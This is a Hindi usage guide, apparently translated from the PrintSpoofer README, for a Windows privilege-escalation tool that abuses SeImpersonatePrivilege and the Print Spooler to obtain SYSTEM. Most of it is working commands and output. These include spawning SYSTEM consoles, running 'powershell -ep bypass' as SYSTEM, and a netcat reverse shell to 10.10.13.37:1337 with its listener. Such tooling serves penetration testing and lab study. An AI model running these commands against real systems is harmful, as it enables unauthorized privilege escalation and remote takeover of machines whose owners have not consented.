
प्रतिरूपण विशेषाधिकारों का दुरुपयोग 'Printer Bug' के माध्यम से
LOCAL/NETWORK SERVICE से SYSTEM तक जाने के लिए Windows 10 और Server 2016/2019 पर SeImpersonatePrivilege का दुरुपयोग करके।
अधिक जानकारी के लिए: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
आप -h विकल्प का उपयोग करके सहायता संदेश देख सकते हैं।
C:\TOOLS>PrintSpoofer.exe -h
PrintSpoofer v0.1 (by @itm4n)
Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
-c <CMD> Execute the command *CMD*
-i Interact with the new process in the current command prompt (default is non-interactive)
-d <ID> Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
-h That's me :)
Examples:
- Run PowerShell as SYSTEM in the current console
PrintSpoofer.exe -i -c powershell.exe
- Spawn a SYSTEM command prompt on the desktop of the session 1
PrintSpoofer.exe -d 1 -c cmd.exe
- Get a SYSTEM reverse shell
PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"
यदि आपके पास इंटरैक्टिव शेल है, तो आप अपने वर्तमान कंसोल में एक नई SYSTEM प्रक्रिया बना सकते हैं।
उपयोग परिदृश्य: bind shell, reverse shell, psexec.py, etc.
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
यदि आप कमांड निष्पादित कर सकते हैं लेकिन आपके पास इंटरैक्टिव शेल नहीं है, तो आप एक नई SYSTEM प्रक्रिया बना सकते हैं और उससे इंटरैक्ट किए बिना तुरंत बाहर निकल सकते हैं।
उपयोग परिदृश्य: WinRM, WebShell, wmiexec.py, smbexec.py, etc.
एक रिवर्स शेल बनाएं:
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Netcat श्रोता:
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
यदि आप स्थानीय रूप से या RDP के माध्यम से लॉग इन हैं (VDI सहित), तो आप अपने डेस्कटॉप पर एक SYSTEM कमांड प्रॉम्प्ट बना सकते हैं। पहले, qwinsta कमांड से अपनी सत्र ID जांचें और फिर -d विकल्प के साथ यह मान निर्दिष्ट करें।
उपयोग परिदृश्य: टर्मिनल सत्र (RDP), VDI
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK